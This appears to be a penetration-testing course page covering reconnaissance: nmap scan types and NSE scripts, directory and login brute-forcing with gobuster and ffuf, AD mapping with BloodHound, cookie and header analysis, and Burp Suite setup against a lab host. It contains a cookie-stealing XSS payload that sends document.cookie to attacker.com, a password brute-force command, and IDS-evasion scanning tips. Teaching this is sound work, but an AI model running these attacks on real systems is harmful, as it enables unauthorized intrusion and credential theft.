Seven days of aggressive reconnaissance — Nmap's every scan type, web directory brute-forcing, vulnerability scanning, Active Directory bloodhound mapping, and Burp Suite setup. After this week you will find attack surface that most defenders don't know exists.
TOOLLAB Host Discovery · Scan Types · Service Detection · OS Fingerprinting
WEEK 3 PROGRESS — DAY 15 OF 21
🎯
Nmap is the most important tool in your arsenal. Network Mapper has been the de facto standard for network discovery and security auditing since 1997. Every professional engagement starts here. Not knowing nmap deeply is like being a surgeon who doesn't know anatomy — you can use the scalpel, but you'll cut the wrong things.
// 15.1 — SCAN TYPE DEEP DIVE
-sS
SYN "Stealth" Scan
Sends SYN → gets SYN-ACK (open) or RST (closed) → sends RST. Never completes handshake. Not logged by many apps.
FAST
STEALTHY
-sT
Full Connect Scan
Completes full TCP 3-way handshake. Slower, fully logged. Used when SYN scan requires root privilege that you don't have.
SLOW
LOUD
-sU
UDP Scan
Probes UDP ports. Very slow — UDP has no handshake, must wait for ICMP "port unreachable" to know closed. DNS(53), SNMP(161) run on UDP.
VERY SLOW
-sN
NULL Scan
Sends packet with NO flags set. Open/filtered ports don't respond. Closed ports send RST. Evades some stateless firewalls and older IDS.
EVASION
-sF
FIN Scan
Sends only FIN flag. Same logic as NULL — used against systems where SYN scans are blocked. Doesn't work on Windows (always sends RST).
EVASION
-sX
Xmas Scan
Sets FIN + URG + PUSH flags (all "lit up" like a Christmas tree). Same behavior as NULL/FIN. Bypass some packet filters.
EVASION
-sV
Version Detection
Probes open ports to determine exact service + version. "Port 80 open" becomes "Apache httpd 2.4.51". Critical for finding vulnerable software versions.
LOUD
-O
OS Detection
Sends TCP/IP probes and analyzes responses to fingerprint the OS. TTL values, TCP window sizes, and flag behaviors all reveal OS identity.
LOUD
-sn
Ping Sweep (No Port Scan)
Discovers live hosts without scanning ports. ICMP echo + TCP SYN to 443 + TCP ACK to 80 + ICMP timestamp. Fast host discovery.
FAST
⚡ INTERACTIVE NMAP COMMAND BUILDER
Click options to build your command. Enter a target IP to complete it.
SCAN TYPE
-sS (SYN Stealth)
-sT (Full Connect)
-sU (UDP)
-sV (Version)
-sn (Ping Sweep)
DISCOVERY & DETECTION
-O (OS Detect)
-A (Aggressive)
-Pn (Skip Ping)
--open (Open only)
PORT SELECTION
Common Ports
Port 1–1000
All 65535 Ports
Top 1000 Ports
TIMING & OUTPUT
-T4 (Fast)
-T1 (Sneaky)
-v (Verbose)
-oA (Save All Formats)
--script=vuln (NSE Vuln)
nmap ← select options above
// 15.2 — NMAP TIMING TEMPLATES
TEMPLATE
NAME
SPEED
DETECTION RISK
USE CASE
-T0
Paranoid
~5 min/port
Near zero
IDS evasion — 1 probe per 5 minutes. Almost impossible to detect.
-T1
Sneaky
15 sec/port
Very low
Slow enough to evade most threshold-based IDS rules.
-T2
Polite
0.4 sec/port
Low
Reduces bandwidth — useful on slow networks.
-T3
Normal
Default
Medium
Default timing. Balanced speed vs detection.
-T4
Aggressive
Fast
High
CTF / lab environments. Most pentesters use this.
-T5
Insane
Very fast
Very high
Speed over accuracy. Will miss ports on slow/congested networks.
// 15.3 — NSE SCRIPTS (NMAP SCRIPTING ENGINE)
WHAT ARE NSE SCRIPTS?
NSE scripts extend nmap from a port scanner into a vulnerability scanner, brute-forcer, and service enumerator. There are 600+ built-in scripts covering authentication, brute force, discovery, DoS, exploitation, fuzzing, malware, safe, and version categories.
http-title
DISCOVERY
Grabs the title of web pages. Quickly identifies what's running on HTTP/S ports without opening a browser.
nmap --script=http-title -p 80,443,8080 target
smb-vuln-ms17-010
VULNERABILITY
Checks if a host is vulnerable to EternalBlue (MS17-010) — the exploit used in WannaCry ransomware. One of the most critical checks.
nmap --script=smb-vuln-ms17-010 -p 445 target
ftp-anon
AUTH
Tests if anonymous FTP login is enabled. If yes, lists files accessible without credentials. Classic misconfiguration.
nmap --script=ftp-anon -p 21 target
ssh-brute
BRUTE FORCE
Brute-forces SSH credentials using a wordlist. Slow but effective against weak passwords. Use with caution — creates loud log entries.
nmap --script=ssh-brute -p 22 target
http-enum
DISCOVERY
Enumerates common web directories and files (admin/, login.php, .htaccess, etc.). Lighter alternative to running Gobuster separately.
nmap --script=http-enum -p 80,443 target
vuln (category)
VULNERABILITY
Runs ALL scripts in the "vuln" category against a target. Checks for dozens of CVEs. Generates noise but gives comprehensive results.
nmap --script=vuln -sV target
smb-enum-shares
DISCOVERY
Lists SMB network shares and their access permissions. Misconfigured shares often expose sensitive files like backup.zip, passwords.txt.
nmap --script=smb-enum-shares -p 445 target
mysql-empty-root
AUTH
Checks if MySQL root account has no password — one of the most common misconfigurations on development and legacy servers.
nmap --script=mysql-empty-root -p 3306 target
ssl-heartbleed
VULNERABILITY
Checks for the Heartbleed vulnerability (CVE-2014-0160) in OpenSSL. Allows reading server memory — can leak private keys, session tokens, credentials.
nmap --script=ssl-heartbleed -p 443 target
// 15.4 — REAL NMAP OUTPUT ANALYSIS
NMAP -sV -sC -O -T4 --script=vuln 192.168.56.101
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.56.101Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4| ftp-vsftpd-backdoor:| VULNERABLE: vsFTPd version 2.3.4 backdoor — CVE-2011-2523| State: VULNERABLE (Exploitable)| Risk factor: High — connects to cmd port 6200/tcp|_ References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-252322/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)| http-title: Metasploitable2 - Linux139/tcp open netbios-ssn Samba smbd 3.X - 4.X445/tcp open netbios-ssn Samba smbd 3.0.20-Debian| smb-vuln-ms08-067:| VULNERABLE: Microsoft Windows Server Service RPC| State: LIKELY VULNERABLE3306/tcp open mysql MySQL 5.0.51a-3ubuntu5| mysql-empty-root:| root account has NO PASSWORDOS details: Linux 2.6.X (Ubuntu 8.04)Network Distance: 1 hopSCRIPT RESULTS SUMMARY:
↳ vsftpd 2.3.4 backdoor → EXPLOITABLE (you'll use this in Week 4)
↳ MySQL empty root → EXPLOITABLE (direct DB access without auth)
↳ Samba ms08-067 → LIKELY VULN (remote code execution)
↳ SSH version 4.7p1 → OUTDATED (multiple known CVEs)
💡
Reading this output: You now have a prioritized attack roadmap. The vsftpd backdoor and MySQL empty root are both immediately exploitable — no credentials needed. In Week 4 you'll use Metasploit's exploit/unix/ftp/vsftpd_234_backdoor to get a shell from that FTP service in under 60 seconds.
// DAY 15 — QUIZ
You're pentesting a corporate network. The IDS has a rule: alert if more than 20 SYN packets from same source in 5 seconds. You need to scan 65535 ports without triggering it. Which nmap timing template do you use, and why might you ALSO use --scan-delay?
A -T4 to scan faster and get through before the IDS processes the packets
B -T1 with --scan-delay to stay below the IDS threshold, sacrificing speed for stealth
C -sN (NULL scan) to avoid sending any TCP flags at all
D -Pn to skip the ping phase which is what triggers IDS alerts
// DAY 15 — LAB
LAB TASKS
Run a comprehensive scan: nmap -sV -sC -O -T4 -p- 192.168.56.101 -oA week3_full_scan. This is your full enumeration. Save the output — you'll reference it all week.
Run the vuln category: nmap --script=vuln -sV 192.168.56.101. Document every VULNERABLE finding with its CVE number.
Test NSE scripts individually: ftp-anon, smb-enum-shares, mysql-empty-root, http-enum
Try the Xmas scan: nmap -sX -T2 192.168.56.101. Compare open/closed/filtered results vs SYN scan. Note any differences.
Run a ping sweep of your lab network: nmap -sn 192.168.56.0/24. How many hosts are up?
Timing experiment: Time a -T1 scan vs -T4 scan on the same ports. Document the difference.
Web recon finds what nmap misses. Nmap tells you a web server is running on port 80. Web recon tells you there's a hidden /admin panel, a /backup.zip file someone left accessible, a /api/v2/users endpoint returning all user data, and a staging subdomain running a 3-year-old vulnerable framework. The attack surface of a web app is invisible to port scanners.
// 16.1 — THE WEB RECON WORKFLOW
1
Technology Fingerprinting
Before brute-forcing anything, identify what's running. Web server, framework, CMS, programming language — each has known vulnerabilities. WhatWeb and Wappalyzer do this passively.
whatweb http://target.com -v
2
Nikto — Vulnerability Surface Scan
Nikto tests for 6700+ known web server issues: dangerous files, outdated software, security misconfigurations, XSS vectors, directory listings. It's noisy but fast and finds obvious holes.
nikto -h http://192.168.56.101 -output nikto_results.txt
3
Directory/File Brute Force with Gobuster
Enumerate hidden directories and files using wordlists. /admin, /backup, /.git, /config, /api — none of these appear on the homepage. Only brute-force reveals them.
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
4
Subdomain Enumeration
The main domain may be hardened but dev.target.com, staging.target.com, or api.target.com might not be. These run the same codebase but with less security focus.
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
5
Parameter/Endpoint Fuzzing with ffuf
After finding directories, fuzz parameters. Hidden API parameters, unlinked endpoints, and different HTTP methods (PUT, DELETE, PATCH) often expose vulnerabilities not visible in the UI.
Read the page source. Look for JavaScript files with API keys, comments with internal paths, and hidden form fields. Spider the site to build a complete page map.
curl http://target.com | grep -E "src=|href=|action=" | head -40
// 16.2 — GOBUSTER MASTERY
GOBUSTER — DIRECTORY ENUMERATION
# ── DIRECTORY MODE ────────────────────────────────────────────$gobuster dir \
-u http://192.168.56.101 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 50 \
-x php,html,txt,bak,zip \
-o gobuster_results.txt# -u = target URL
# -w = wordlist (SecLists has the best collections)
# -t = threads (50 is fast but not too aggressive)
# -x = also try these extensions for every word
# -o = save output===============================================================
Gobuster v3.5 by OJ Reeves
===============================================================
/index.php (Status: 200) [Size: 891]
/admin (Status: 301) [Size: 321] [--> /admin/]
/cgi-bin (Status: 301) [Size: 325] [--> /cgi-bin/]
/phpMyAdmin (Status: 301) [Size: 327]← database admin panel!/test (Status: 200) [Size: 5821]
/backup.zip (Status: 200) [Size: 48291]← JACKPOT — backup file/.htaccess (Status: 403) [Size: 287]← exists but forbidden/config.php.bak (Status: 200) [Size: 1024]← backup of config (DB creds!)# ── DNS SUBDOMAIN MODE ─────────────────────────────────────────$gobuster dns \
-d targetcorp.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-t 30Found: dev.targetcorp.com [192.168.1.20]← development serverFound: staging.targetcorp.com [192.168.1.25]← staging serverFound: jenkins.targetcorp.com [192.168.1.30]← CI/CD (high value)Found: vpn.targetcorp.com [203.0.113.10]← VPN portal
// 16.3 — ffuf: THE FUZZING POWERHOUSE
ffuf — FUZZ FASTER U FOOL
# ffuf uses FUZZ as a placeholder — replace it with any wordlist
# More flexible than gobuster — can fuzz URLs, headers, params, POST bodies# ── BASIC DIRECTORY FUZZ ──────────────────────────────────────$ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://target.com/FUZZ \
-mc 200,301,302,403# ── FILTER BY SIZE (remove false positives) ───────────────────$ffuf -w wordlist.txt -u http://target.com/FUZZ \
-mc 200 -fs 1234# fs = filter responses of size 1234 (common false positive size)# ── VHOST FUZZING (find virtual hosts) ───────────────────────$ffuf -w subdomains.txt \
-u http://10.10.10.100 \
-H "Host: FUZZ.target.com" \
-mc 200 -fs 10918# Sends requests with different Host headers — discovers virtual hosts
# that share the same IP but serve different content# ── PARAMETER FUZZING ─────────────────────────────────────────$ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "http://target.com/page?FUZZ=test" \
-mc 200 -fs 1000# Finds hidden GET parameters — a parameter that shouldn't exist publicly
# might expose debug info, user enumeration, or LFI vulnerability# ── POST DATA FUZZING (login brute force) ─────────────────────$ffuf -w /usr/share/wordlists/rockyou.txt \
-u http://target.com/login \
-X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-mc 302 -fs 1234# mc 302 = look for redirects (successful login usually redirects)
# Use with CAUTION and only with authorization — this is active brute-force
// 16.4 — WORDLISTS: YOUR MOST VALUABLE RESOURCE
SECLISTS — THE WORDLIST COLLECTION
SecLists (apt install seclists on Kali, or github.com/danielmiessler/SecLists) is the most comprehensive wordlist collection for security testing. Always use the right wordlist for the right job.
Gobuster finds /backup.zip (Status: 200, Size: 48291) on a target web server. Rank the following actions in the correct order of what a professional pentester does next.
A Ignore it — backup files are usually empty test files
B Download it, inspect the file listing, extract and analyze for credentials/config files, document for report
C Immediately report it to the client without downloading — it might contain sensitive data
D Delete the file — you\'ve proven the finding exists and this protects the client
Vulnerability scanners vs manual enumeration: Scanners are automated, fast, and comprehensive — but they generate false positives and miss business-logic vulnerabilities. Manual testing finds what scanners miss. Professional pentesters use scanners to get breadth and manual techniques to get depth. You need both skills.
// 17.1 — OpenVAS vs NESSUS
FEATURE
OpenVAS / Greenbone
Nessus (Tenable)
Cost
Free & Open Source
Free (Essentials, 16 IPs) or $3,990+/yr (Pro)
Plugin count
~70,000 checks
~175,000 checks (more comprehensive)
Ease of use
More complex setup
Better UI, easier to interpret
Industry use
Common in enterprise/gov
Industry standard, required for many compliance frameworks
Kali Linux
Install via apt install openvas
Download .deb from tenable.com
Best for students
Start here — free, powerful
Get Essentials for exposure to the industry standard tool
// 17.2 — CVSS: THE VULNERABILITY SCORING SYSTEM
READING CVSS v3.1 SCORES
The Common Vulnerability Scoring System gives every vulnerability a 0–10 score. As a pentester, you use CVSS to prioritize your findings. Clients care most about Critical (9.0+) and High (7.0–8.9) findings — these go on page 1 of your report.
SCORE RANGE
SEVERITY
TYPICAL MEANING
EXAMPLE
9.0 – 10.0
CRITICAL
Remote code execution, no auth required, network exploitable
Log4Shell (10.0), EternalBlue (9.8)
7.0 – 8.9
HIGH
Significant impact — requires some auth or local access
SQL injection with data exfil, privesc to root
4.0 – 6.9
MEDIUM
Limited impact or requires user interaction
Reflected XSS, CSRF, information disclosure
0.1 – 3.9
LOW
Minimal impact, requires significant conditions
Verbose error messages, non-sensitive info leak
0.0
NONE / INFO
No impact on CIA, but worth noting
Missing security headers, outdated but unexploitable software
// 17.3 — HOW VULNERABILITY SCANNERS WORK
UNDER THE HOOD
Vulnerability scanners work in three stages: discovery (find hosts and services, like nmap), detection (match detected versions/banners against a CVE database), and safe exploitation (some scanners perform non-destructive PoC tests to confirm exploitability). They do NOT fully exploit — they confirm risk.
OpenVAS — SETUP & SCAN COMMANDS
# Install and setup OpenVAS on Kali:$sudo apt install openvas -y$sudo gvm-setup# Initial setup — downloads NVT feed (~30 min first time)$sudo gvm-start# Start all services$sudo gvm-check-setup# Verify everything is running# Access web UI: https://127.0.0.1:9392
# Default credentials shown during gvm-setup# CLI scan using gvm-cli (after setup):$gvm-cli --gmp-username admin --gmp-password pass socket \
--xml "<create_target><name>Metasploitable</name><hosts>192.168.56.101</hosts></create_target>"# Using Nessus CLI (after installing Nessus Essentials):$sudo /etc/init.d/nessusd start# Access: https://localhost:8834
# Create scan → Basic Network Scan → Enter 192.168.56.101 → Launch# ── Interpreting output priorities ────────────────────────────CRITICAL: vsFTPd 2.3.4 Backdoor (CVE-2011-2523) CVSS: 10.0CRITICAL: MySQL No Password Authentication CVSS: 9.8HIGH: OpenSSH < 5.0 Multiple Vulnerabilities CVSS: 7.5
MEDIUM: Apache Directory Listing Enabled CVSS: 5.3
LOW: SSH Protocol Version 1 Supported CVSS: 2.6
INFO: Web Server Discloses Version in Headers
// 17.4 — SCANNING METHODICALLY
PROFESSIONAL SCANNING WORKFLOW
Phase 1 — Inventory: nmap ping sweep to discover all live hosts. Never assume you know the scope — clients often forget servers.
Phase 2 — Port scan all live hosts: nmap -sV --top-ports 1000 on every host. Full port scan (-p-) on high-value targets like Domain Controllers and web servers.
Phase 3 — Authenticated scan: OpenVAS/Nessus with credentials finds 3–5x more vulnerabilities than unauthenticated. Ask for a read-only service account.
Phase 4 — Verify critical findings manually: Confirm every Critical/High before including in report. False positives waste client time.
Phase 5 — Prioritize by exploitability: A CVSS 9.8 with no public exploit is lower priority than CVSS 7.5 with a working Metasploit module.
// DAY 17 — QUIZ
Your OpenVAS scan returns 47 findings: 3 Critical, 8 High, 12 Medium, 24 Low. Your client asks "are we secure?" How do you approach this?
A Tell them "not secure" and give them the full 47-finding list to fix everything immediately
B Tell them they\'re "relatively secure" — 24 of 47 findings are just Low severity
C Verify the 3 Critical findings manually, demonstrate business impact, and present a risk-prioritized remediation roadmap
D Export the scanner PDF and send it — the CVSS scores explain the severity clearly enough
AD recon is how you map the kingdom before attacking it. Active Directory environments are complex — thousands of users, hundreds of groups, dozens of Group Policy Objects. BloodHound graphs these relationships and finds attack paths that no human would manually discover. The tool doesn't exploit AD — it reveals that the path from a standard user account to Domain Admin is three hops through misconfigured permissions.
// 18.1 — WHAT TO ENUMERATE IN AN AD ENVIRONMENT
TARGET
WHAT YOU'RE LOOKING FOR
TOOL
Domain Controller IP
The crown jewel target. Everything else leads here.
nmap, nslookup, dig
Domain Users
Service accounts (often have weak passwords + high privs), admin accounts, disabled accounts
enum4linux, ldapdomaindump, rpcclient
Domain Groups
Who is in Domain Admins? Local Admins? Who can RDP? Who is in "Remote Management Users"?
BloodHound, ldapdomaindump
SMB Shares
File shares with sensitive docs, credentials in scripts, SYSVOL/NETLOGON for GPO scripts
smbclient, smbmap, CrackMapExec
Kerberoastable Accounts
Service accounts with SPNs set — their TGS tickets are offline-crackable (Week 5)
BloodHound, GetUserSPNs.py
AS-REP Roastable
Users with "don't require Kerberos pre-auth" — hash obtainable without credentials
GetNPUsers.py
ACL Misconfigurations
Users who have GenericAll/GenericWrite on another account — "path to DA"
BloodHound
// 18.2 — enum4linux — SMB AND LDAP ENUMERATION
enum4linux — ENUMERATE WINDOWS/SAMBA TARGETS
$enum4linux -a 192.168.56.101# -a = all checks: users, shares, groups, password policy, OS info, etc.============================================================
| Target: 192.168.56.101 |
| Started: Mon Jan 15 14:30:00 2024 |
============================================================[*] Getting OS informationOS: Unix (Samba 3.0.20-Debian)Computer name: METASPLOITABLE[*] Enumerating usersuser:[msfadmin] rid:[0x3f2]user:[postgres] rid:[0x3f3]user:[user] rid:[0x3f4]user:[service] rid:[0x3f5][*] Enumerating sharesSharename Type Comment--------- ---- -------tmp Disk oh noes!← accessible!opt DiskIPC$ IPC IPC Service[*] Password policyMinimum password length: 0← EMPTY PASSWORDS ALLOWEDPassword history length: 0Maximum password age: None← PASSWORDS NEVER EXPIRE# ── SMB MAP for share permissions ─────────────────────────────$smbmap -H 192.168.56.101Disk Permissions Comment
---- ----------- -------
tmp READ, WRITE oh noes! ← you can write files here
opt NO ACCESS
// 18.3 — BLOODHOUND: GRAPH-BASED AD ATTACK PATHS
HOW BLOODHOUND WORKS
BloodHound collects AD data via a "collector" (SharpHound on Windows, BloodHound.py on Linux/network level). It dumps all users, groups, GPOs, sessions, and ACLs into JSON. The BloodHound GUI imports this and graphs relationships. You then query for attack paths using Cypher queries against a Neo4j database.
john.smith──[MemberOf]──►IT-HELPDESK──[GenericAll]──►svc-backup │ │ [MemberOf] ▼jane.doe──[AdminTo]──►DC01.corp.localBACKUP-ADMINS │ │ │ [DCSync Rights] │ [AdminTo] ▼ ▼DOMAIN ADMINS ◄──────────────── DC01.corp.local
ATTACK PATH FOUND (4 hops):
john.smith → GenericAll on svc-backup → svc-backup in BACKUP-ADMINS
→ BACKUP-ADMINS AdminTo DC01 → DC01 has DCSync rights → DOMAIN ADMIN
BloodHound query: "Find Shortest Paths to Domain Admins"
Cypher: MATCH p=shortestPath((u:User{name:"john.smith@CORP.LOCAL"})
-[*1..]→(g:Group{name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
BLOODHOUND SETUP & DATA COLLECTION
# Install BloodHound on Kali:$sudo apt install bloodhound neo4j -y$sudo neo4j start# First run: go to http://localhost:7474, change default neo4j password$bloodhound &# Opens BloodHound GUI# Collect AD data from network (no Windows agent needed):$pip3 install bloodhound$bloodhound-python -u john.smith -p 'Password123' \
-d corp.local -dc dc01.corp.local \
-c All --zip# -c All = collect Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs
# --zip = creates a zip file for BloodHound import# In BloodHound UI: Upload Data → select the zip → wait for import# ── Most powerful BloodHound queries ─────────────────────────Pre-built queries (click "Analysis" in BloodHound):→ Find all Domain Admins→ Find Shortest Paths to Domain Admins→ Find Principals with DCSync Rights→ List All Kerberoastable Accounts→ Find Computers where Domain Admins are logged in→ Find AS-REP Roastable Users# Every highlighted path in BloodHound is a real attack vector
# The tool doesn't exploit — it shows you WHERE to exploit
// 18.4 — ldapdomaindump: DUMPING AD OVER LDAP
ldapdomaindump — AD ENUMERATION WITH CREDENTIALS
# If you have any domain credentials (even a standard user), you can dump AD:$ldapdomaindump -u 'CORP\john.smith' -p 'Password123' \
ldap://dc01.corp.local# Creates HTML and JSON files:domain_users.html ← All domain users with propertiesdomain_groups.html ← All groups and their membersdomain_computers.html ← All domain-joined computersdomain_policy.html ← Password policy, lockout policydomain_trusts.html ← Trust relationships between domains# Parse for high-value targets:$cat domain_users.json | python3 -c "
import json,sys
users = json.load(sys.stdin)
for u in users:
if 'Admin' in str(u.get('memberOf','')):
print(u['sAMAccountName'], '->', u['memberOf'])"svc-backup → ['CN=BACKUP-ADMINS,DC=corp,DC=local']
jane.doe → ['CN=Domain Admins,DC=corp,DC=local']
// DAY 18 — QUIZ
BloodHound shows that user helpdesk01 has GenericAll permission over user svc-sql, and svc-sql is in the DBA-Admins group which has admin rights to the SQL server containing all customer data. You have compromised helpdesk01. What does GenericAll permission allow you to do with svc-sql?
A View svc-sql\'s current password hash in plaintext
B Delete the svc-sql account from the domain
C Reset svc-sql\'s password without knowing the current one, then authenticate as svc-sql to access the SQL server
D Directly read all files on the SQL server without needing svc-sql\'s credentials
19
WEB APP FUNDAMENTALS
THEORYLAB HTTP Methods · Cookies · Sessions · Headers · Dev Tools
WEEK 3 PROGRESS — DAY 19 OF 21
🕸️
Web apps are the #1 attack surface in modern pentesting. Bug bounty programs, most corporate breaches, and the majority of OWASP Top 10 vulnerabilities all live in web apps. Before you can attack them with Burp Suite (tomorrow), you need to think exactly like a browser — understanding every HTTP request, cookie, and header at the byte level.
// 19.1 — HTTP METHODS AND THEIR SECURITY IMPLICATIONS
METHOD
INTENDED USE
SECURITY ISSUE
GET
Retrieve a resource. Parameters in URL.
Parameters visible in logs, browser history, referrer headers. Never put sensitive data in GET.
POST
Send data to server (forms, login). Body carries data.
Safer than GET but still visible to MITM if no HTTPS. CSRF attacks target POST actions.
PUT
Replace a resource entirely. RESTful APIs.
If enabled on web servers: can upload files, potentially webshells. WebDAV PUT = file upload.
DELETE
Remove a resource. RESTful APIs.
Missing authorization checks → any user deletes any resource (IDOR on DELETE).
OPTIONS
Query supported methods for a resource.
Reveals all available methods — tells attacker if PUT/DELETE are enabled. Always test this.
TRACE
Echo request back for debugging.
Cross-Site Tracing (XST) attack — can steal cookies via TRACE + XSS. Should be disabled.
PATCH
Partial update. RESTful APIs.
Like PUT — missing auth = unauthorized modification of any user's data.
// 19.2 — COOKIES AND SESSIONS
HOW AUTHENTICATION STATE WORKS
HTTP is stateless — each request is independent. Cookies and session tokens give it "memory". This is also why session attacks are so impactful: steal the cookie, steal the identity.
COOKIE SECURITY FLAGS — KNOW THESE COLD
# Server sets a session cookie after login:
Set-Cookie: PHPSESSID=abc123def456; Path=/; Domain=bank.com# SECURE cookie (missing in above — VULNERABILITY):
Set-Cookie: PHPSESSID=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
FLAG BREAKDOWN:Secure → Cookie ONLY sent over HTTPS. Without this: session token sent in HTTP cleartext → sniffable
HttpOnly → Cookie NOT accessible to JavaScript (document.cookie). Without this → XSS can steal it
SameSite → Controls cross-site requests:
Strict = never sent cross-site (strongest CSRF protection)
Lax = sent on top-level GET only (default in modern browsers)
None = sent everywhere (requires Secure flag) → CSRF risk
ATTACK — Stealing cookie missing HttpOnly via XSS:<script>document.location='https://attacker.com/steal?c='+document.cookie</script># If HttpOnly is set, document.cookie returns empty string — attack fails
# If HttpOnly is MISSING — session token is exfiltrated in the request URL# ANALYZE COOKIES IN PRACTICE:$curl -v -c cookies.txt http://192.168.56.101/dvwa/login.php 2>&1 | grep "Set-Cookie"← Look for missing Secure, HttpOnly, SameSite flags on every cookie
// 19.3 — SECURITY HEADERS
HEADER
PURPOSE
MISSING = ?
Content-Security-Policy (CSP)
Restricts which scripts, styles, and resources a page can load. Strongest XSS mitigation.
XSS attacks can load external scripts, execute arbitrary JavaScript
Strict-Transport-Security (HSTS)
Forces HTTPS for a specified period. Prevents SSL stripping attacks.
SSL stripping attack: attacker downgrades HTTPS to HTTP mid-connection
X-Frame-Options
Prevents the page from being loaded in an iframe. Blocks Clickjacking.
Clickjacking: attacker overlays invisible iframe over a trusted site, tricks user into clicking
X-Content-Type-Options: nosniff
Prevents browser from guessing content type. Forces declared MIME type.
MIME sniffing attacks: serve a .txt file containing JavaScript, browser executes it
Referrer-Policy
Controls how much URL info the Referrer header reveals to other sites.
Sensitive URLs (with tokens, user IDs) leaked in Referrer to third-party analytics scripts
Server: Apache/2.2.8
Reveals web server software and version. Should be suppressed.
Fingerprinting: attacker immediately knows which CVEs to look up for this exact version
ANALYZING HTTP HEADERS IN PRACTICE
$curl -I https://targetwebsite.comHTTP/2 200
Content-Type: text/html; charset=UTF-8Server: Apache/2.4.41← version disclosedX-Powered-By: PHP/7.3.9← PHP version (EOL!)Strict-Transport-Security: max-age=31536000; includeSubDomains← goodX-Frame-Options: [MISSING]← clickjacking possibleContent-Security-Policy: [MISSING]← XSS not mitigatedX-Content-Type-Options: [MISSING]← MIME sniffing riskSet-Cookie: session=abc123← no Secure! no HttpOnly!# Quick automated header check:$python3 -c "
import requests
r = requests.get('http://target.com')
security_headers = ['Content-Security-Policy','X-Frame-Options',
'X-Content-Type-Options','Strict-Transport-Security']
for h in security_headers:
status = r.headers.get(h, 'MISSING')
print(f'{h}: {status}')"
// DAY 19 — QUIZ
A web app sets this cookie: Set-Cookie: auth_token=eyJhbGc...; Path=/. What are ALL the security issues with this cookie, and what is the realistic attack impact of each?
A The eyJhbGc value looks like a JWT — the only problem is the algorithm might be weak
B Missing Secure flag only — the token would be sent over HTTP connections
C Missing Secure (HTTP sniffing), HttpOnly (XSS theft), and SameSite (CSRF) — each enables a different account takeover attack
D Path=/ is the problem — the cookie should only be sent to specific paths
Burp Suite is your primary weapon for web application hacking. Every professional web pentester lives in Burp. It sits between your browser and the target, letting you intercept, inspect, modify, and replay every HTTP request. SQL injection, XSS, IDOR, authentication bypass — you find and exploit them all through Burp.
// 20.1 — BURP SUITE ARCHITECTURE
HOW BURP PROXY WORKS
Burp runs as an HTTP proxy on 127.0.0.1:8080. You configure your browser to route traffic through this proxy. Every request your browser sends now passes through Burp first — you see it, modify it, forward it, or drop it. Burp also decrypts HTTPS by acting as a trusted CA (you install Burp's certificate).
HTTP/1.1 302 Found Location: /dvwa/index.php Set-Cookie: PHPSESSID=xyz789 Content-Length: 0
✓ 302 = LOGIN SUCCESSFUL
→ Note: session cookie has no Secure/HttpOnly flags → Modify username/password above and resend via Repeater
// 20.2 — BURP TOOLS: WHAT EACH DOES
Proxy / Intercept
Sits between browser and target. Toggle intercept ON to pause every request and manually inspect/modify it before it's sent. The foundation of all Burp workflows.
Repeater
Send a captured request here to modify and resend it manually, unlimited times. Testing SQL injection? Change the parameter 50 times and watch the responses change. Your most-used tool.
Intruder
Automated attack tool. Mark parameters as "payload positions", load a wordlist, fire hundreds of requests. Used for brute-forcing logins, fuzzing parameters, testing SQLi payloads. Rate-limited in Community edition.
Scanner (Pro only)
Automated vulnerability detection. Finds SQLi, XSS, SSRF, XXE, and more. The Community edition doesn't include it — use PortSwigger Academy's hosted environment instead.
Decoder
Encode/decode data: URL encoding, Base64, HTML entities, hex. Essential for analyzing encoded payloads and crafting attacks that bypass input filters.
Target / Site Map
Builds a visual map of every page, parameter, and endpoint Burp has seen while you browse. Your complete inventory of the target's web surface.
// 20.3 — BURP SETUP PROCEDURE
BURP SUITE SETUP — COMPLETE WALKTHROUGH
# Burp Suite Community Edition is free and pre-installed on Kali:$burpsuite &# Launches BurpSTEP 1: Configure browser proxy
→ In Firefox: Settings → Network Settings → Manual Proxy
→ HTTP Proxy: 127.0.0.1 Port: 8080
→ Check "Also use this proxy for HTTPS"
→ Or install FoxyProxy extension for easy toggleSTEP 2: Install Burp's CA certificate (for HTTPS)
→ With Burp running, browse to: http://burpsuite
→ Click "CA Certificate" → download cacert.der
→ Firefox: Settings → Privacy → Certificates → Import
→ Check "Trust this CA to identify websites"STEP 3: Verify it works
→ Enable intercept: Proxy → Intercept → "Intercept is ON"
→ Browse to http://192.168.56.101 in Firefox
→ Request should appear paused in Burp
→ Click "Forward" to send it throughSTEP 4: Send to Repeater for testing
→ Right-click any intercepted request → "Send to Repeater"
→ In Repeater: modify the request → click "Send"
→ Watch the response change as you modify parameters# First test: DVWA SQL Injection
→ Browse to http://192.168.56.101/dvwa
→ Login: admin / password
→ Go to SQL Injection → enter "1" in the User ID field → Submit
→ Intercept this request in Burp → Send to Repeater
→ Change id=1 to id=1' (add a single quote)
→ Send → Response will show a MySQL error → SQLi confirmed!
// 20.4 — MANUAL TESTING WORKFLOW
THE BURP MINDSET
When you visit any web page through Burp, develop this reflex: every parameter is a potential injection point. URL parameters, POST body fields, cookie values, HTTP headers (especially Host, User-Agent, X-Forwarded-For, Referer) — any of these that reach server-side processing can be vulnerable.
BURP REPEATER — MANUAL TESTING PATTERNS
